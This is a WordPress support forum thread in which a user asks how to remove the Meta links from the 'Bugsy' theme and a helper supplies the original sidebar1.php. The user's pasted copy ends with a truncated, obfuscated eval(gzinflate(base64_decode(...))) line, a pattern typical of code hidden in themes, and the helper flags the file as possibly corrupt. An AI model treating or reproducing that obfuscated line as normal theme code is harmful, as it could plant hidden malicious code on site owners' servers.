 * Hi,
 * I’m currently using ‘Bugsy’ wordpress theme. How do I remove the default Meta
   function?
 * The meta code is neither in sidebar.php nor header.php. Are there any other ways
   to remove this code?

 * jazzlee,
 * The Meta information is held within the “sidebar1.php” file. Delete the following
   lines:
 *     ```
       <li>
        <h2>Meta</h2>
        <ul>
         <?php wp_register(); ?>
         <li><?php wp_loginout(); ?></li>
         <li><a href="http://themes.rock-kitty.net">Wordpress Themes</a></li>
        </ul>
       </li>
       ```

 * Hi, Thank you for you reply. Can’t find the Meta code in sidebar1.php, as advised
   by you. Below is the full code I’ve copied under sidebar 1.php, for your reference.
 * <div class=”sidebar1″>
    -  <?php if ( function_exists(‘dynamic_sidebar’) && dynamic_sidebar(‘sidebar
      1’) ) : else : ?>
    -  <h2>Pages</h2>
 *  -  <?php wp_list_pages(‘title_li=’); ?>
 *  <?php wp_list_categories(‘orderby=name&show_count=0&title_li=<h2>Categories</
   h2>’); ?>
    -  <h2>Archives</h2>
 *  -  <?php wp_get_archives(‘type=monthly&limit=12’); ?>
 *  -  <h2>Blogroll</h2>
 *  -  <?php get_links(-1, ‘
    - ‘, ‘
    - ‘, ‘between’, FALSE, ‘name’, FALSE, FALSE, -1, FALSE); ?>
 *  <?php endif; ?>
 * <?php eval(gzinflate(base64_decode(‘tZI9a8MwEIZn51ccXuwuEWRsVXnI3CUOdDR2fI4EsiR0ck3
   +fRXZbiGUduog7oPnTu8LV4ldlnGt7iHj8iDeMLScxSQ1Jp1iIngL0uPwmvPKSQedtldlBlsWnujQTF4XTy9QiRyCCho3rMGyqG

 * jazzlee,
 * The following is the code that was provided by the theme:
 *     ```
       <div class="sidebar1">
       <ul>
       <?php if ( function_exists('dynamic_sidebar') && dynamic_sidebar('sidebar 1') ) : else : ?>
       <li>
       <h2>Pages</h2>
       <ul>
       <?php wp_list_pages('title_li='); ?>
       </ul>
       </li>
       <?php wp_list_categories('orderby=name&show_count=0&title_li=<h2>Categories</h2>'); ?>
       <li>
       <h2>Archives</h2>
       <ul>
       <?php wp_get_archives('type=monthly&limit=12'); ?>
       </ul>
       </li>
       <li>
       <h2>Meta</h2>
       <ul>
       <?php wp_register(); ?>
       <li><?php wp_loginout(); ?></li>
       <li><a href="http://themes.rock-kitty.net">Wordpress Themes</a></li>
       </ul>
       </li>
       <li>
       <h2>Blogroll</h2>
       <ul>
       <?php get_links(-1, '<li>', '</li>', 'between', FALSE, 'name', FALSE, FALSE, -1, FALSE); ?>
       </ul>
       </li>
       <?php endif; ?>
       </ul>
       </div>
       ```
   
 * Download the theme a second time and re-upload the “sidebar1.php” file to ensure
   it is not corrupt. The ending php makes me think something may have happened.
